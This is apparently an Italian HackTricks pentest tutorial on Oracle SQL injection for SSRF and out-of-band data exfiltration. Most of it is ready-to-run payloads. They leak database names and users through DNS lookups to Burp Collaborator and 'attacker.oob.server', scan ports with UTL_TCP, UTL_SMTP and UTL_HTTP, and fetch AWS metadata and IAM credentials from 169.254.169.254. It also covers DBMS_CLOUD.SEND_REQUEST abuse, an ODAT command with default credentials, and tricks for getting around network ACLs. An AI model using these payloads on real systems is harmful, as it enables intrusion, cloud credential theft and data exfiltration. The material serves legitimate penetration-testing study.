Oracle injection

Reading time: 10 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Servire questo post una copia della macchina del tempo del post eliminato da https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

Utilizzare Oracle per effettuare richieste HTTP e DNS Out of Band è ben documentato, ma come mezzo per esfiltrare dati SQL nelle iniezioni. Possiamo sempre modificare queste tecniche/funzioni per fare altre SSRF/XSPA.

Installare Oracle può essere davvero doloroso, specialmente se si desidera impostare un'istanza rapida per provare comandi. Il mio amico e collega di Appsecco, Abhisek Datta, mi ha indicato https://github.com/MaksymBilenko/docker-oracle-12c che mi ha permesso di configurare un'istanza su una macchina AWS Ubuntu t2.large e Docker.

Ho eseguito il comando docker con il flag --network="host" in modo da poter imitare Oracle come un'installazione nativa con accesso completo alla rete, per il corso di questo blogpost.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Pacchetti Oracle che supportano una specifica di URL o di Nome Host/Numero di Porta

Per trovare eventuali pacchetti e funzioni che supportano una specifica di host e porta, ho eseguito una ricerca su Google nella Documentazione Online di Oracle Database. In particolare,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

La ricerca ha restituito i seguenti risultati (non tutti possono essere utilizzati per eseguire richieste di rete in uscita)

  • DBMS_NETWORK_ACL_ADMIN
  • UTL_SMTP
  • DBMS_XDB
  • DBMS_SCHEDULER
  • DBMS_XDB_CONFIG
  • DBMS_AQ
  • UTL_MAIL
  • DBMS_AQELM
  • DBMS_NETWORK_ACL_UTILITY
  • DBMS_MGD_ID_UTL
  • UTL_TCP
  • DBMS_MGWADM
  • DBMS_STREAMS_ADM
  • UTL_HTTP

Questa ricerca grossolana ovviamente salta pacchetti come DBMS_LDAP (che consente di passare un nome host e un numero di porta) poiché la pagina di documentazione ti indirizza semplicemente a un'altra posizione. Pertanto, potrebbero esserci altri pacchetti Oracle che possono essere sfruttati per effettuare richieste in uscita che potrei aver trascurato.

In ogni caso, diamo un'occhiata ad alcuni dei pacchetti che abbiamo scoperto e elencato sopra.

DBMS_LDAP.INIT

Il pacchetto DBMS_LDAP consente l'accesso ai dati dai server LDAP. La funzione init() inizializza una sessione con un server LDAP e prende un nome host e un numero di porta come argomento.

Questa funzione è stata documentata in precedenza per mostrare l'exfiltrazione di dati tramite DNS, come di seguito

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Tuttavia, dato che la funzione accetta un nome host e un numero di porta come argomenti, puoi utilizzare questo per funzionare anche come uno scanner di porte.

Ecco alcuni esempi

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

Un ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. indica che la porta è chiusa mentre un valore di sessione indica che la porta è aperta.

UTL_SMTP

Il pacchetto UTL_SMTP è progettato per inviare e-mail tramite SMTP. L'esempio fornito sul sito di documentazione Oracle mostra come puoi utilizzare questo pacchetto per inviare un'email. Per noi, tuttavia, la cosa interessante è la possibilità di fornire una specifica di host e porta.

Un esempio rudimentale è mostrato di seguito con la funzione UTL_SMTP.OPEN_CONNECTION, con un timeout di 2 secondi.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

Un ORA-29276: transfer timeout indica che la porta è aperta ma non è stata stabilita alcuna connessione SMTP, mentre un ORA-29278: SMTP transient error: 421 Service not available indica che la porta è chiusa.

UTL_TCP

Il pacchetto UTL_TCP e le sue procedure e funzioni consentono comunicazioni basate su TCP/IP con i servizi. Se programmato per un servizio specifico, questo pacchetto può facilmente diventare un modo per accedere alla rete o eseguire richieste complete lato server, poiché tutti gli aspetti di una connessione TCP/IP possono essere controllati.

L'esempio sul sito della documentazione Oracle mostra come puoi utilizzare questo pacchetto per stabilire una connessione TCP raw per recuperare una pagina web. Possiamo semplificarlo ulteriormente e usarlo per effettuare richieste all'istanza dei metadati, ad esempio, o a un servizio TCP/IP arbitrario.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

Interessantemente, grazie alla capacità di creare richieste TCP raw, questo pacchetto può essere utilizzato anche per interrogare il servizio di meta-dati dell'istanza di tutti i fornitori di cloud poiché il tipo di metodo e le intestazioni aggiuntive possono essere tutte passate all'interno della richiesta TCP.

UTL_HTTP e Richieste Web

Forse la tecnica più comune e ampiamente documentata in ogni tutorial di Out of Band Oracle SQL Injection è il UTL_HTTP package. Questo pacchetto è definito dalla documentazione come - Il pacchetto UTL_HTTP effettua chiamate Hypertext Transfer Protocol (HTTP) da SQL e PL/SQL. Puoi usarlo per accedere ai dati su Internet tramite HTTP.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Puoi inoltre utilizzare questo per eseguire alcune scansioni di porte rudimentali con query come

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

Un ORA-12541: TNS:no listener o un TNS:operation timed out è un segno che la porta TCP è chiusa, mentre un ORA-29263: HTTP protocol error o dati sono un segno che la porta è aperta.

Un altro pacchetto che ho utilizzato in passato con successo variabile è il GETCLOB() method of the HTTPURITYPE Oracle abstract type che consente di interagire con un URL e fornisce supporto per il protocollo HTTP. Il metodo GETCLOB() viene utilizzato per recuperare la risposta GET da un URL come un CLOB data type.

SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;

Pacchetti e Tecniche Aggiuntive (Oracle 19c → 23c)

UTL_INADDR – esfiltrazione basata su DNS e scoperta di host

UTL_INADDR espone semplici helper per la risoluzione dei nomi che attivano una ricerca DNS in uscita dall'host del database. Poiché è richiesto solo un dominio (non è necessario alcun porto/ACL), è un primitivo affidabile per l'esfiltrazione cieca quando altre chiamate di rete sono bloccate.

sql
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
SELECT UTL_INADDR.get_host_address(
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
'.attacker.oob.server') FROM dual;

get_host_address() restituisce l'IP risolto (o solleva ORA-29257 se la risoluzione fallisce). L'attaccante deve solo monitorare la richiesta DNS in arrivo sul dominio controllato per confermare l'esecuzione del codice.

DBMS_CLOUD.SEND_REQUEST – client HTTP completo su Autonomous/23c

Le recenti edizioni centrate sul cloud (Autonomous Database, 21c/23c, 23ai) vengono fornite con DBMS_CLOUD. La funzione SEND_REQUEST funge da client HTTP di uso generale che supporta verbi, intestazioni, TLS e corpi di grandi dimensioni personalizzati, rendendola molto più potente rispetto al classico UTL_HTTP.

sql
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
BEGIN
-- empty credential when no auth is required
DBMS_CLOUD.create_credential(
credential_name => 'NOAUTH',
username        => 'ignored',
password        => 'ignored');
END;
/

DECLARE
resp  DBMS_CLOUD_TYPES.resp;
BEGIN
resp := DBMS_CLOUD.send_request(
credential_name => 'NOAUTH',
uri             => 'http://169.254.169.254/latest/meta-data/',
method          => 'GET',
timeout         => 3);
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
END;
/

Perché SEND_REQUEST consente URI di destinazione arbitrari, può essere abusato tramite SQLi per:

  1. Scansione delle porte interne / SSRF ai servizi di metadati cloud.
  2. Esfiltrazione out-of-band su HTTPS (usa Burp Collaborator o un tunnel ngrok).
  3. Callback ai server dell'attaccante anche quando i pacchetti di chiamata più vecchi sono disabilitati dalle ACL.

ℹ️ Se hai solo un classico on-prem 19c ma puoi creare procedure memorizzate Java, a volte puoi installare DBMS_CLOUD dal pacchetto client OCI — utile in alcuni incarichi.

Automatizzare la superficie di attacco con ODAT

ODAT – Oracle Database Attacking Tool ha tenuto il passo con le versioni moderne (testato fino a 19c, 5.1.1 – Apr-2022). I moduli –utl_http, –utl_tcp, –httpuritype e il più recente –dbms_cloud automaticamente:

  • Rilevano pacchetti di chiamata/assegnazioni ACL utilizzabili.
  • Attivano callback DNS & HTTP per estrazione cieca.
  • Generano payload SQL pronti da copiare per Burp/SQLMap.

Esempio: controllo OOB rapido con credenziali predefinite (si occupa dell'enumerazione delle ACL in background):

bash
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob

Recent network ACL restrictions & bypasses

Oracle ha inasprito le ACL di rete predefinite nel CPU di luglio 2023 — gli account non privilegiati ora ricevono ORA-24247: network access denied by access control list per impostazione predefinita. Due schemi consentono ancora le chiamate tramite SQLi:

  1. L'account target possiede un'entrata ACL (DBMS_NETWORK_ACL_ADMIN.create_acl) che è stata aggiunta da uno sviluppatore per integrazioni.
  2. L'attaccante sfrutta una routine con diritti di definizione PL/SQL ad alta privilegio (ad es. in un'applicazione personalizzata) che ha già AUTHID DEFINER e le autorizzazioni necessarie.

Se incontri ORA-24247 durante lo sfruttamento, cerca sempre procedure riutilizzabili:

sql
SELECT owner, object_name
FROM   dba_objects
WHERE  object_type = 'PROCEDURE'
AND  authid       = 'DEFINER';

(in molte audit almeno una procedura di reporting/esportazione aveva i diritti necessari).


Riferimenti

  • Oracle Docs – descrizione e esempi del pacchetto DBMS_CLOUD.SEND_REQUEST.
  • quentinhardy/odat – Strumento di attacco per Oracle Database (ultima versione 5.1.1, Apr-2022).

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks